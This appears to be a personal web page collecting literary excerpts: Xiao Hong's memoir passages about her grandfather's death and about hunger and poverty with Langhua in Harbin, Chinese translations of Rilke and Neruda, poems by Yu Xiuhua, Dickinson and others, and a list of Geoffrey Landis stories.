从这一次祖父就与我永远隔绝了。虽然那次和祖父告别,并没说出一个永别的字。我回来看祖父,这回门前吹着喇叭,幡杆挑得比房头更高,马车离家很远的时候,我已看到高高的白色幡杆了,吹鼓手们的喇叭怆凉的在悲号。马车停在喇叭声中,大门前的白幡、白对联、院心的灵棚、闹嚷嚷许多人,吹鼓手们响起乌乌的哀号。

这回祖父不坐在玻璃窗里,是睡在堂屋的板床上,没有灵魂的躺在那里。 我要看一看他白色的胡子,可是怎样看呢!拿开他脸上蒙着的纸吧,胡子、眼睛和嘴,都不会动了,他真的一点感觉也没有了?我从祖父的袖管里去摸他的手,手也没有感觉了。祖父这回真死去了啊!

祖父装进棺材去的那天早晨,正是后园里玫瑰花开放满树的时候。 我扯着祖父的一张被角,抬向灵前去。吹鼓手在灵前吹着大喇叭。

我怕起来,我号叫起来。

“咣咣!”黑色的,半尺厚的灵柩盖子压上去。

吃饭的时候,我饮了酒,用祖父的酒杯饮的。饭后我跑到后园玫瑰树下去卧倒,园中飞着蜂子和蝴蝶,绿草的清凉的气味,这都和十年前一样。可是十年前死了妈妈。妈妈死后我仍是在园中扑蝴蝶;这回祖父死去,我却饮了酒。

过去的十年我是和父亲打斗着生活。在这期间我觉得人是残酷的东西。 父亲对我是没有好面孔的,对于仆人也是没有好面孔的,他对于祖父也是没有好面孔的。因为仆人是穷人,祖父是老人,我是个小孩子,所以我们这些完全没有保障的人就落到他的手里。后来我看到新娶来的母亲也落到他的手里,他喜欢她的时候,便同她说笑,他恼怒时便骂她,母亲渐渐也怕起父亲来。

母亲也不是穷人,也不是老人,也不是孩子,怎么也怕起父亲来呢?我到邻家去看看,邻家的女人也是怕男人。我到舅家去,舅母也是怕舅父。

我懂得的尽是些偏僻的人生,我想世间死了祖父,就没有再同情我的人了,世间死了祖父,剩下的尽是些凶残的人了。

我饮了酒,回想,幻想……

以后我必须不要家,到广大的人群中去,但我在玫瑰树下颤怵了,人群中没有我的祖父。

所以我哭着,整个祖父死的时候我哭着。

家族以外的人

秋末:我们寂寞了一个长久的时间。

那些空房子里充满了冷风和黑暗;长在空场上的高草,干败了而倒了下来;房后菜园上的各种秧棵完全挂满了白霜;老榆树在墙根边仍旧随风摇摆它那还没有落完的叶子;天空是发灰色的,云彩也失去了形状,有时带来了雨点,有时又带来了细雪。

厨夫收拾桌子的时候,就点起煤油灯来,我面向着菜园坐在门槛上,从门道流出来的黄色的灯光当中,砌着我圆圆的头部和肩膀,我时时举动着手,揩着额头的汗水,每揩了一下,那影子也学着我揩了一下。透过我单衫的晚风,象是青蓝色的河水似的清凉……后街,粮米店的胡琴的声音也响了起来,幽远的回音,东边也在叫着,西边也在叫着……日里黄色的花变成白色的了,红色的花,变成黑色的了。

火一样红的马蛇菜的花也变成黑色的了。同时,那盘结着墙根的野马蛇菜的小花,就完全看不见了。

有二伯也许就踏着那些小花走去的,因为他太接近了墙根,我看着他……看着他……他走出了菜园的板门。

有二伯和后园里的老茄子一样,是灰白了,然而老茄子一天比一天静默下去,好象完全任凭了命运。可是有二伯从东墙骂到西墙,从扫地的扫帚骂到水桶……而后他骂着他自己的草帽……

园里的葵花子,完全成熟了,那过重的头柄几乎折断了它自己的身子。玉米有的只带了叶子站在那里,有的还挂着稀少的玉米棒。黄瓜老在架上了,赫黄色的,麻裂了皮,有的束上了红色的带子,母亲规定了它们:来年做为种子。葵花子也是一样,在它们的颈间也有的是挂了红布条。只有已经发了灰白的老茄子还都自由的吊在枝棵上,因为它们的内面,完全是黑色的子粒,孩子们既然不吃它,厨子也总不采它。

只有红柿子,红得更快,一个跟着一个,一堆跟着一堆。好象捣衣裳的声音,从四面八方传来了一样。

冬天一来了的时候,那榆树的叶子,连一棵也不能够存在,因为是一棵孤树,所有从四面来的风,都摇得到它。所以每夜听着火炉盖上茶壶咝咝的声音的时候,我就从后窗看着那棵大树,白的,穿起了鹅毛似的……连那顶小的枝子也胖了一些。太阳来了的时候,榆树也会闪光,和闪光的房顶,闪光的地面一样。

我知道他又是从前那一套,我冲开了门站在院心去了。被烟所伤痛的眼睛什么也不能看了,只是流着泪……

但有二伯摊在火堆旁边,幽幽的起着哭声……

我走向上房去了,太阳晒着我,还有别的白色的闪光,它们都来包围了我;或是在前面迎接着,或是从后面迫赶着我站在台阶上,向四面看看,那么多纯白而闪光的房顶!那么多闪光的树枝!它们好象白石雕成的珊瑚树似的站在一些房子中间。

有二伯的哭声更高了的时候,我就对着这眼前的一切更爱:它们多么接近,比方雪地是踏在我的脚下,那些房顶和树枝就是我的邻家,太阳虽然远一点,然而也来照在我的头上。

春天,我进了附近的小学校。

有二伯从此也就不见了。

失眠之夜

为什么要失眠呢!烦躁,恶心,心跳,胆小,并且想要哭泣。我想想,也许就是故乡的思虑罢。

窗子外面的天空高远了,和白棉一样绵软的云彩低近了,吹来的风好象带点草原的气味,这就是说已经是秋天了。

在家乡那边,秋天最可爱。

蓝天蓝得有点发黑,白云就象银子做成一样,就象白色的大花朵似的点缀在天上;就又象沉重得快要脱离开天空而坠了下来似的,而那天空就越显得高了,高得再没有那么高的。

有时候,他也不等我说完,他就接下去。我们讲的故事,彼此都好象是讲给自己听,而不是为着对方。

只有那么一天,买来了一张《东北富源图》挂在墙上了,染着黄色的平原上站着小乌,小羊,还有骆驼,还有牵着骆驼的小人;海上就是些小鱼,大鱼,黄色的鱼,红色的好象小瓶似的大肚的鱼,还有黑色的大鲸鱼;而兴安岭和辽宁一带画着许多和海涛似的绿色的山脉。

他的家就在离着渤海不远的山脉中,他的指甲在山脉爬着:“这是大凌河……这是小凌河……哼……没有,这个地图是个不完全的,是个略图……”

“好哇!天天说凌河,哪有凌河呢!”我不知为什么一提到家乡,常常愿意给他扫兴一点。

“你不相信!我给你看。”他去翻他的书橱去了,“这不是大凌河……小凌河……小孩的时候在凌河沿上捉小鱼,拿到山上去,在石头上用火烤着吃……这边就是沈家台,离我们家二里路……”因为是把地图摊在地板上看的缘故,一面说着,他一面用手扫着他已经垂在前额的发梢。

《东北富源图》就挂在床头,所以第二天早晨,我一张开了眼睛,他就抓住了我的手:

“我想将来我回家的时候,先买两匹驴,一匹你骑着,一匹我骑着……先到我姑姑家,再到我姐姐家……顺便也许看看我的舅舅去……我姐姐很爱我……她出嫁以后,每回来一次就哭一次,姐姐一哭,我也哭……这有七八年不见了!也都老了。”

那地图上的小鱼,红的,黑的,都能够看清,我一边看着,一边听着,这一次我没有打断他,或给他扫一点兴。

“买黑色的驴,挂着铃子,走起来……铛啷啷啷啷啷啷……”他形容着铃音的时候,就象他的嘴里边含着铃子似的在响。

“我带你到沈家台去赶集。那赶集的日子,热闹!驴身上挂着烧酒瓶……我们那边,羊肉非常便宜……羊肉炖片粉……真有味道!唉呀!这有多少年没吃那羊肉啦!”他的眉毛和额头上起着很多皱纹。

我在大镜子里边看了他,他的手从我的手上抽回去,放在他自己的胸上,而后又背着放在枕头下面去,但很快地又抽出来。只理一理他自己的发梢又放在枕头上去。

这失眠大概也许不是因为这个。但买驴子的买驴子,吃咸盐豆的吃咸盐豆,而我呢?坐在驴子上,所去的仍是生疏的地方,我停着的仍然是别人的家乡。

家乡这个观念,在我本不甚切的,但当别人说起来的时候,我也就心慌了!虽然那块土地在没有成为日本的之前,“家”在我就等于没有了。

这失眠一直继续到黎明之前,在高射炮的声中,我也听到了一声声和家乡一样的震抖在原野上的鸡鸣。

破落之街

天明了,白白的阳光空空的染了全室。

秋风是紧了,秋风的凄凉特别在破落之街道上。

苍蝇满集在饭馆的墙壁,一切人忙着吃喝,不闻苍蝇。

在房间里,阳光不落在墙壁上,那是灰色的四面墙,好像匣子,好像笼子,墙壁在逼着我,使我的思想没有用,使我的力量不能与人接触,不能用于世。

我不愿意我的脑浆翻绞,又睡下,拉我的被子,在床上辗转,仿佛是个病人一样,我的肚子叫响,太阳西沉下去,平没有回来。我只吃过一碗玉米粥,那还是清早。

他回来,只是自己回来,不带馒头或别的充饥的东西回来。

肚子越响了,怕给他听着这肚子的呼唤,我把肚子翻向床,压住这呼唤。

泥泞的街道,沿路的屋顶和蜂巢样密挤着,平房屋顶,又生出一层平屋来。那是用板钉成的,看起像是楼房,也闭着窗子,歇着门。可是生在楼房里的不像人,是些猪猡,是污浊的群。 我们往来都看见这样的景致。现在街道是泥泞了,肚子是叫唤了!一心要奔到苍蝇堆里,要吃馒头。 桌子的对边那个老头,他唠叨起来了,大概他是个油匠,胡子染着白色,不管衣襟或袖口,都有斑点花色的颜料,他用有颜料的手吃东西。并没能发现他是不讲卫生,因为我们是一道生活。

他嚷了起来,他看一看没有人理他,他升上木凳好像老旗杆样,人们举目看他。终归他不是造反的领袖,那是私事,他的粥碗里面睡着个苍蝇。

大家都笑了,笑他一定在发神经病。

“我是老头子了,你们拿苍蝇喂我!”他一面说,有点伤心。

一直到掌柜的呼唤伙计再给他换一碗粥来,他才从木凳降落下来。但他寂寞着,他的头摇曳着。

这破落之街我们一年没有到过了,我们的生活技术比他们高,和他们不同,我们是从水泥中向外爬。可是他们永远留在那里,那里淹没着他们的一生,也淹没着他们的子子孙孙,但是这要淹没到什么时代呢?

我们也是一条狗,和别的狗一样没有心肝。我们从水泥中自己向外爬,忘记别人,忘记别人。

欧罗巴旅馆

楼梯是那样长,好象让我顺着一条小道爬上天顶。其实只是三层楼,也实在无力了。手扶着楼栏,努力拔着两条颤颤的,不属于我的腿,升上几步,手也开始和腿一般颤。

等我走进那个房间的时候,和受辱的孩子似的偎上床去,用袖口慢慢擦着脸。他——郎华,我的情人,那时候他还是我的情人,他问我了:“你哭了吗?”

“为什么哭呢?我擦的是汗呀,不是眼泪呀!”

那女人动手去收拾:软枕,床单,就连桌布她也从桌子扯下去。床单夹在她的腋下。一切都夹在她的腋下。一秒钟,这洁白的小室跟随她花色的包头巾一同消失去。

我虽然是腿颤,虽然肚子饿得那样空,我也要站起来,打开柳条箱去拿自己的被子。

小室被劫了一样,床上一张肿胀的草褥赤现在那里,破木桌一些黑点和白圈显露出来,大藤椅也好象跟着变了颜色。

晚饭以前,我们就在草褥上吻着抱着过的。

晚饭就在桌子上摆着,黑“列巴”和白盐。

他去追求职业

他是一匹受冻受饿的犬呀!

在楼梯尽端,在过道的那边,他着湿的帽子被墙角隔住,他着湿的鞋子踏过发光的地板,一个一个排着脚踵的印泥。

这还是清早,过道的光线还不充足。可是有的房间门上已经挂好“列巴圈”了!

送牛奶的人,轻轻带着白色的、发热的瓶子,排在房间的门外。这非常引诱我,好象我已嗅到“列巴圈”的麦香,好象那成串肥胖的圆形的点心,已经挂在我的鼻头了。 几天没有饱食,我是怎样的需要啊!胃口在胸膛里面收缩,没有钱买,让那“列巴圈”们白白在虐待我。

过道渐渐响起来。他们呼唤着茶房,关门开门,倒脸水。外国女人清早便高声说笑。可是我的小室,没有光线,连灰尘都看不见飞扬,静得桌子在墙角欲睡了,藤椅在地板上伴着桌子睡,静得棚顶和天空一般高,一切离得我远远的,一切都厌烦我。

家庭教师

长久的时间静默着,灯光照在两人脸上,也不跳动一下,我说要给他缝缝袖口,明天要买针线。说到袖口,他警觉一般看一下袖口,脸上立刻浮现着幻想,并且嘴唇微微张开,不太自然似的,又不说什么。

关了灯,月光照在窗外,反映得全室微白。两人扯着一张被子,头下破书当做枕头。隔壁手风琴又咿咿呀呀地在诉说生之苦乐。乐器伴着他,他慢慢打开他幽禁的心灵了:

“敏子,……这是敏子姑娘给我缝的。可是过去了,过去了就没有什么意义。我对你说过,那时候我疯狂了。直到最末一次信来,才算结束,结束就是说从那时起她不再给我来信了。这样意外的,相信也不能相信的事情,弄得我昏迷了许多日子……以前许多信都是写着爱我……甚至于说非爱我不可。最末一次信却骂起我来,直到现在我还不相信,可是事实是那样……”

他起来去拿毛衣给我看,“你看过桃色的线……是她缝的……敏子缝的……”

又灭了灯,隔壁的手风琴仍不停止。在说话里边他叫那个名字“敏子,敏子。”都是喉头发着水声。

“很好看的,小眼眉很黑……嘴唇很……很红啊!”说到恰好的时候,在被子里边他紧紧捏了我一下手。我想:我又不是她。

“嘴唇通红通红……啊……”他仍说下去。

马蹄打在街石上嗒嗒响声。每个院落在想象中也都睡去。

提篮者

提篮人,他的大篮子,长形面包,圆面包……每天早晨他带来诱人的麦香,等在过道。

我数着……三个,五个,十个……把所有的铜板给了他。一块黑面包摆在桌子上。郎华回来第一件事,他在面包上掘了一个洞,连帽子也没脱,就嘴里嚼着,又去找白盐。他从外面带进来的冷空气发着腥味。他吃面包,鼻子时时滴下清水滴。

一块黑面包,一角钱。我还要五分钱的“列巴圈”,那人用绳穿起来。我还说:“不用,不用。”我打算就要吃了!我伏在床上,把头抬起来,正象见了桑叶而抬头的蚕一样。

可是,立刻受了打击,我眼看着那人从郎华的手上把面包夺回去,五个“列巴圈”也夺回去。 “明早一起取钱不行吗?”

“不行,昨天那半角也给我吧!”

我充满口涎的舌头向嘴唇舐了几下,不但“列巴圈”没有吃到,把所有的铜板又都带走了。

“早饭吃什么呀?”

“你说吃什么?”锁好门,他回到床上时,冰冷的身子贴住我。

饿

从昨夜到中午,四肢软一点,肚子好象被踢打放了气的皮球。

窗子在墙壁中央,天窗似的,我从窗口升了出去,赤裸裸,完全和日光接近;市街临在我的脚下,直线的,错综着许多角度的楼房,大柱子一般工厂的烟囱,街道横顺交织着,秃光的街树。白云在天空作出各样的曲线,高空的风吹乱我的头发,飘荡我的衣襟。市街象一张繁繁杂杂颜色不清晰的地图,挂在我们眼前。楼顶和树梢都挂住一层稀薄的白霜,整个城市在阳光下闪闪烁烁撒了一层银片。我的衣襟被风拍着作响,我冷了,我孤孤独独的好象站在无人的山顶。每家楼顶的白霜,一刻不是银片了,而是些雪花、冰花,或是什么更严寒的东西在吸我,象全身浴在冰水里一般。

郎华仍不回来,我拿什么来喂肚子呢?桌子可以吃吗?草褥子可以吃吗?

晒着阳光的行人道,来往的行人,小贩乞丐…这一些看得我疲倦了!打着呵欠,从窗口爬下来。

窗子一关起来,立刻生满了霜,过一刻,玻璃片就流着眼泪了!起初是一条条的,后来就大哭了!满脸是泪,好象在行人道上讨饭的母亲的脸。

我坐在小屋,象饿在笼中的鸡一般,只想合起眼睛来静着,默着,但又不是睡。

郎华还没有回来,我应该立刻想到饿,但我完全被青春迷惑了,读书的时候,哪里懂得“饿”?只晓得青春最重要,虽然现在我也并没老,但总觉得青春是过去了!过去了!

我冥想了一个长时期,心浪和海水一般翻了一阵。

追逐实际吧!青春惟有自私的人才系念她,“只有饥寒,没有青春。”

最末的一块木柈

脱掉袜子,腿在被子里面团卷着。想要把自己的脚放到自己肚子上面暖一暖,但是不可能,腿生得太长了,实在感到不便,腿实在是无用。在被子里面也要颤抖似的。窗子上的霜,已经挂得那样厚,并且四壁刷的绿颜色,涂着金边,这一些更使人感到寒冷。两个人的呼吸象冒着烟一般地。玻璃上的霜好象柳絮落到河面,密结的起着绒毛。夜来时也不知道,天明时也不知道,是个没有明暗的幽室,人住在里面,正象菌类生在不见天日的大树下;快要朽了。而人不是菌类。

黑列巴和白盐

玻璃窗子又慢慢结起霜来,不管人和狗经过窗前,都辨认不清楚。

“我们不是新婚吗?”他这话说得很响,他唇下的开水杯起一个小圆波浪。他放下杯子,在黑面包上涂一点白盐送下喉去。大概是面包已不在喉中,他又说:

“这不正是度蜜月吗!”

“对的,对的。”我笑了。

他连忙又取一片黑面包,涂上一点白盐,学着电影上那样度蜜月,把涂盐的“列巴”先送上我的嘴,我咬了一下,而后他才去吃。一定盐太多了,舌尖感到不愉快,他连忙去喝水:

“不行不行,再这样度蜜月,把人咸死了。”

盐毕竟不是奶油,带给人的感觉一点也不甜,一点也不香。我坐在旁边笑。

光线完全不能透进屋来,四面是墙,窗子已经无用,象封闭了的洞门似的,与外界绝对隔离开。天天就生活在这里边。素食,有时候不食,好象传说上要成仙的人在这地方苦修苦炼。很有成绩,修炼得倒是不错了,脸也黄了,骨头也瘦了。我的眼睛越来越扩大,他的颊骨和木块一样突在腮边。

这些工夫都做到,只是还没成仙。

“借钱”,“借钱”,郎华每日出去“借钱”。他借回来的钱总是很少,三角,五角,借到一元,那是很稀有的事。

黑列巴和白盐,许多日子成了我们唯一的生命线。

度日

天色连日阴沉下去,一点光也没有,完全灰色,灰得怎样程度呢?那和墨汁混到水盆中一样。

火炉台擦得很亮了,碗、筷子、小刀摆在格子上。清早起第一件事点起火炉来,而后擦地板,铺床。

炉铁板烧得很热时,我便站到火炉旁烧饭,刀子、匙子弄得很响。炉火在炉腔里起着小的爆炸,饭锅腾着气,葱花炸到油里,发出很香的烹调的气味。我细看葱花在油边滚着,渐渐变黄起来。……小洋刀好象剥着梨皮一样,把地豆刮得很白,很好看,去了皮的地豆呈乳黄色,柔和而有弹力。炉台上铺好一张纸,把地豆再切成薄片。饭已熟,地豆煎好。打开小窗望了望,院心几条小狗在戏耍。

家庭教师还没有下课,菜和米香引我回到炉前再吃两口,用匙子调一下饭,再调一下菜,很忙的样子象在偷吃。 在地板上走了又走,一个钟头的课程还不到吗?于是再打开锅盖吞下几口。再从小窗望一望。我快要吃饱的时候,他才回来。习惯上知道一定是他,他都是在院心大声弄着嗓子响。我藏在门后等他,有时候我不等他寻到,就作着怪声跳出来。

早饭吃完以后,就是洗碗,刷锅,擦炉台,摆好木格子。

假如有表,怕是十一点还多了!

再过三四个钟头,又是烧晚饭。他出去找职业,我在家里烧饭,我在家里等他。火炉台,我开始围着它转走起来。每天吃饭,睡觉,愁柴,愁米……

这一切给我一个印象:这不是孩子时候了,是在过日子,开始过日子。

圆月从东边一小片林梢透过来,暗红色的圆月,很大很混浊的样子,好象老人昏花的眼睛,垂到天边去。 脚下的雪不住在滑着,响着,走了许多时候,一个行人没有遇见,来到火车站了!大时钟在暗红色的空中发着光,火车的汽笛震鸣着冰寒的空气,电车,汽车,马车,人力车,车站前忙着这一切。

顺着电车道走,电车响着铃子从我们身边一辆一辆地过去。没有借到钱,电车就上不去。走吧,挨着走,肚痛我也不能说。走在桥上,大概是东行的火车,冒着烟从桥下经过,震得人会耳鸣起来,索链一般的爬向市街去。

从岗上望下来,最远处,商店的红绿电灯不住地闪烁;在夜里的人家好象在烟里一般;若没有灯光从窗子流出来,那么所有的楼房就该变成幽寂的、没有钟声的大教堂了! 站在岗上望下去,“许公路”的电灯,好象扯在太阳下的长串的黄色铜铃,越远,那些铜铃越增加着密度,渐渐数不过来了!

挨着走,昏昏茫茫地走,什么夜,什么市街,全是阴沟,我们滚在沟中。携着手吧!相牵着走吧! 天气那样冷,道路那样滑,我时时要滑倒的样子,脚下不稳起来,不自主起来,在一家电影院门前,我终于跌倒了,坐在冰上,因为道上无处不是冰。膝盖的关节一定受了伤害,他虽拉着我,走起来也十分困难。“肚子跌痛了没有?你实在不能走了吧?”

到家把剩下来的一点米煮成稀饭,没有盐,没有油,没有菜,暖一暖肚子算了。

吃饭,肚子仍不能暖,饼干盒子盛了热水,盒子漏了。郎华又拿一个空玻璃瓶要盛热水给我暖肚子,瓶底炸掉下来,满地流着水。他拿起没有底的瓶子当号筒来吹。在那呜呜的响声里边,我躺到冰冷的床上。

春意挂上了树梢

三月花还没有开,人们嗅不到花香,只是马路上融化了积雪的泥泞干起来。天空打起朦胧的多有春意的云彩;暖风和轻纱一般浮动在街道上,院子里。春末了,关外的人们才知道春来。春是来了,街头的白杨树蹿着芽,拖马车的马冒着气,马车夫们的大毡靴也不见了,行人道上外国女人的脚又从长统套鞋里显现出来。笑声,见面打招呼声,又复活在行人道上。商店为着快快地传播春天的感觉,橱窗里的花已经开了,草也绿了,那是布置着公园的夏景。

这样好的行人道,有树,也有椅子,坐在椅子上,把眼睛闭起,一切春的梦,春的谜,春的暖力……这一切把自己完全陷进去。听着,听着吧!春在歌唱……

有谁还记得冬天?阳光这样暖了!街树穿着芽!

手风琴在隔道唱起来,这也不是春天的调子,只要一看那个瞎人为着拉琴而扭歪的头,就觉得很残忍。瞎人他摸不到春天,他没有。坏了腿的人,他走不到春天,他有腿也等于无腿。世界上这一些不幸的人,存在着也等于不存在,倒不如赶早把他们消灭掉,免得在春天他们会唱这样难听的歌。

中央大街的南端,人渐渐稀疏了。

墙根,转角,都发现着哀哭,老头子,孩子,母亲们……哀哭着的是永久被人间遗弃的人们!那边,还望得见那边快乐的人群。还听得见那边快乐的声音。

三月,花还没有,人们嗅不到花香。

夜的街,树枝上嫩绿的芽子看不见,是冬天吧?是秋天吧?但快乐的人们,不问四季总是快乐;哀哭的人们,不问四季也总是哀哭!

Poetry Excerpts

里尔克

塞尔努达

聂鲁达

余秀华

Misc

盲女

里尔克

陌生人
你不怕谈到它么?

盲女
不怕
它很久远了。那是另一个女人。
她当时看得见,她大喊大叫、
东张西望地活过
她死了

陌生人
可死得很艰难吧

盲女
死亡对于不知不觉者是残忍
得放坚强些。即使陌生者死了

陌生人
她对你陌生么

盲女
---不如说她曾经陌生过
死亡甚至使母亲和孩子疏远。---
可头几天很可怕
我遍体鳞伤。世界,
现在在事物中盛开而又成熟
当时却从我身上连根拔起
连我的心一起(我觉得),我袒露着
躺在那儿如被掘开的土地饮着
我的泪水的冷雨
它从死去的眼睛不停地
潸然流出如从荒凉的天空
这时上帝死了 乌云降落下来
而我的听觉却是巨大的,向一切开放
我听见了听不见的事物:
从我的头发上面流过的时间
在脆玻璃上玎玲作响的寂静
还感觉到:一朵大白玫瑰的气息
飘近了我的双手
我一再想到:除了夜,还是夜
并相信看见一条亮光
将象白昼一样扩张开来
相信自己会走向久已
捧在我双手中的早晨
睡眠从我模糊的脸庞
沉滞地滑落。我唤醒了母亲
我对她喊道:“你,来吧!
快点亮!”
于是倾听。久而久之,寂静无声
我觉得我的枕头变成了石头,----
后来我仿佛看见什么在发亮
原来那是母亲的悲泣
我再也不愿想到的悲泣
快点亮!快点亮!我常在梦中这样呼喊
空间已经倒塌!快从我的脸
我的胸把空间抓住。
你必须举起它,高高举起它
必须把星星重新交给它
我不能这样生活,让天空在我头上
可我是在对你说话么,母亲?
要不,是对谁呢?那么谁在后面?
谁在帷幕后面?----是冬天?
母亲:是暴风雨?母亲:是夜?说吧!
要不,就是白天?……白天!
可没有我!怎么能白天没有我?
是不是我在哪儿都碍事?
是不是谁也不再关心我?
是不是我们完全被人忘记?
我们?……可你却还正在那儿
你还有一切,可不是?
还有一切在照顾你的视力
使它感觉舒坦
如果你的眼睛垂下去
如果它们很疲倦
它们还会重新抬起来
……我的眼睛却沉默了
我的花将失去色泽
我的镜子将冻结成冰
我的书里的字行将模糊不清
我的鸟将在胡同里四下飞扑
并在陌生的窗口受伤
什么也不再和我相干
我已为一切所抛弃。---
我是一个岛。

陌生人
可我已跨海而来

盲女
怎么?来到岛上?……来到这儿?

陌生人
我还在小船上。
我把它轻轻靠拢
你。它在动荡:
它的旗子在向陆地飘

盲女
我是一个岛,我孤单
我富有。----
首先,许多旧路还在
我的神经里,由于多次
使用而损坏:
我也就因此而受苦
一切从我的心中离去
我先不知道去向哪儿
但我随即发现它们都在那里
我所有过的一切感觉
集合起来停顿着,拥挤着,呼喊着
面对用墙堵住的,一动不动的眼睛
我所有的被引诱的一切感觉……
我不知道多年来它们是否这样停顿着
但我知道几个星期以来
它们已支离破碎地回来了
什么人也不认得

接着道路伸展到了眼前
我再也不知道它
现在一切在我身上走来走去
确信而自在;感觉象久病初复者
走着,享受着行走
走过我的肉体这座暗屋
有些人是记忆
的读者
但年轻人
都向外望去
因为他们在我旁边所步住的地方
正是我的玻璃衣服
我的额头看得见,我的双手读着
别人手里的诗
我的脚用它踩的石头说话
我的声音从日常的墙壁
带走了每只鸟
如今我已不再置身事外,
一切色彩皆已化入
声音与气味。
生如曲调般绝地
鸣响,
我何必需要书本呢?
风翻动树叶,
我知晓它们的话语,
并时而柔声复诵。
而那将眼睛如花般摘下的死亡,
将无法企及我的双眸……

陌生人(轻声)
我知道

《奥克诺斯》

《二十首爱情诗和一首绝望的歌》

每日你与宇宙的光

每日你与宇宙的光一起嬉戏。
灵巧的访者,在花朵与水之间你翩然到访。
你比我手中紧握的白色的头颅,
更像每日我手中的成簇的果实。

你不像任何人,因为我爱你。
让我把你洒在众多花圈之中。
谁在南方群星里,以烟的字母写下你的名字?
喔,在你存在之前,让我忆起你往日的样子。

突然地,风在我紧闭的窗上怒嚎狂击。
天空是一张网,塞满了阴暗的鱼。
全部的风在这里逐一释放。全部。
大雨脱去她的衣服。

众鸟飞逝,逃离。
风,风。
我只能与男人的力量相互搏斗。
暴风雨让黑色的树叶回旋飘落,
让昨夜停泊在天空的船只逐一散落。

你在这里。喔,你并没有离开。
你会回应我直到我最后一个祈求。
好像受惊吓般的紧拥住我。
即使如此,一抹诡异的影子仍掠过你的双眼。

现在,现在也是,小亲亲,你带给我忍冬树,
甚至你的胸部都可闻到它的味道。
当哀伤的风开始屠杀蝶群,
我爱你,而且我的幸福啃噬你的梅子的嘴。

你为何非要因顺应我而委屈受苦?
我孤独与狂野的灵魂,我的释放它们奔跑的名字。
我们曾看见晨星燃烧这么多次,并亲吻我们的双眼,
在我们的头顶上,薄暮在旋转的风扇中逸散。

我的话语像大雨淋在你的身上,轻抚你。
许久以来,我爱上你阳光晒过的珍珠母的身体。
我甚至于相信你拥有整个宇宙。
从群山中我将为你捎来幸福的花束、风铃草,
黑榛树的果实,以及一篮篮的吻。

我要
像春天对待樱桃树那样的对待你。

穿过大半个中国去睡你

余秀华

其实,睡你和被你睡是差不多的,无非是
两具肉体碰撞的力,无非是这力催开的花朵
无非是这花朵虚拟出的春天让我们误以为生命被重新打开
大半个中国,什么都在发生:火山在喷,河流在枯
一些不被关心的政治犯和流民
一路在枪口的麋鹿和丹顶鹤
我是穿过枪林弹雨去睡你
我是把无数的黑夜摁进一个黎明去睡你
我是无数个我奔跑成一个我去睡你
当然我也会被一些蝴蝶带入歧途
把一些赞美当成春天
把一个和横店类似的村庄当成故乡
而它们
都是我去睡你必不可少的理由

阿乐,你又不幸地被我想起

余秀华

我不敢把我的心给你
怕我一想你,你就疼
我不能把我的眼给你
怕我一哭,你就流泪
我无法把我的命给你
因为我一死去,你也会消逝

我要了你身后的位置
当我看你时,你看不见我
我要了你夜晚的影子
当我叫你时,你就听不见
我要下了你的暮年
从现在开始酿酒

你没有看见我被遮蔽的部分

余秀华

春天的时候,我举出花朵,火焰,悬崖上的树冠
但是雨里依然有寂寞的呼声,钝器般捶打在向晚的云朵
总是来不及爱,就已经深陷。你的名字被我咬出血
却没有打开幽暗的封印

那些轻省的部分让我停留:美人蕉,黑蝴蝶,水里的倒影
我说:你好,你们好。请接受我躬身一鞠的爱
但是我一直没有被迷惑,从来没有
如同河流,在最深的夜里也知道明天的去向

但是最后我依旧无法原谅自己,把你保留得如此完整
那些假象你还是不知道的好啊
需要多少人间灰尘才能掩盖住一个女子
血肉模糊却依然发出光芒的情意

Had I Not Seen The Sun

Emily Dickinson

Had I not seen the Sun
I could have borne the shade
But Light a newer Wilderness
My Wilderness has made—

OCD

Neil Hilborn

本诗被用作 Rous - H.E.R 的人声采样

When she said she loved me her mouth was a straight line,
She told me that I was taking up too much of her time
Last week she started sleeping at her mother's place
She told me that she shouldn't have let me get so attached to her;
that this whole thing was a mistake, but...
How can it be a mistake that i don't have to wash my hands after I touched her?
Love is not a mistake, and it's killing me that she can run away from this and I just can't,
I can't — I can't go out and find someone new because I always think of her,
Usually, when I obsess over things, I see germs sneaking into my skin.
I see myself crushed by an endless succession of cars...
And she was the first beautiful thing I ever got stuck on.
I want to wake up every morning, thinking about the way she holds her steering wheel...
How she turns shower knobs like she's opening a safe.
How she blows out candles—
blows out candles—
blows out candles—
blows out candles—
blows out candles—
blows out...
Now, I just think about who else is kissing her,
I can't breathe because he only kisses her once — he doesn't care if it is perfect
I want her back, so bad...
I leave the door unlocked.
I leave the lights on.

路人

西贝

不知为何,明明想和你说话。
却骗你说,风雨正好,该去写点诗句。

不必嘲讽我,你笑出声来,
我也当是天籁。
不必怀有敌意,你所有心计,
我都当是你对我的心意。

我的宿命分为两段,
未遇见你时,和遇见你以后。
你治好我的忧郁,而后赐我悲伤。
忧郁和悲伤之间的片刻欢喜,
透支了我生命全部的热情储蓄。

想饮一些酒,让灵魂失重,好被风吹走。
可一想到终将是你的路人,
便觉得,沦为整个世界的路人。
风虽大,都绕过我灵魂。

Geoffrey A. Landis short fictions

List scraped from CSFDB.

Online reading resources are most from 九九藏书网 (Chinese), 月光博客 (Chinese) , chinasf(Chinese). Struggled to find proper eBook resources :(

Update 2024: I bought a second-handed copy of "Impact Parameter" from a local bookstore during my internship in the States. I'll transcribe some of the stories in this website.

titleenglish titleread?
邂逅?
四元素Elemental
恐龙Dinosaurs
真空态Vacuum States
空中的大海The River of Air, the Ocean of Sky
狄拉克海上的涟漪Ripples in the Dirac Sea
追赶太阳A Walk in the Sun
时空的插曲Interlude at the Circus
冲击参数Impact Parameter
拥抱异类Embracing the Alien
在冬天的星星下Beneath the Stars of Winter
黄蜂的奇特习性The Singular Habits of Wasps
我们在国家航空航天局干什么What We Really Do Here at NASA
初始时间Time Prime
罗尔维克的战争Rorvik's War
穿过黑暗Across the Darkness
黑妇人Dark Lady
最后的日落The Last Sunset
车轮上的死亡较量Hot Death on Wheels
自噬自生蛇Ouroboros
生态形成Ecopoiesis
冬天的炮火Winter Fire
Snow
逼近黑斑Approaching Perimelasma
遭遇太空海盗Outsider's Chance
进入蓝色深渊Into the Blue Abyss
漫长的追捕The Long Chase
坠落火星Falling Onto Mars
剑鱼座故事At Dorado
懒汉泰克斯Lazy Taekos
镜中人The Man in the Mirror
云城之主The Sultan of the Clouds
南极酒店A Hotel in Antarctica

Ripples in the Dirac Sea

My death looms over me like a tidal wave, rushing toward me with an inexorable slow-motion majesty. And yet I flee, pointless though it may be.

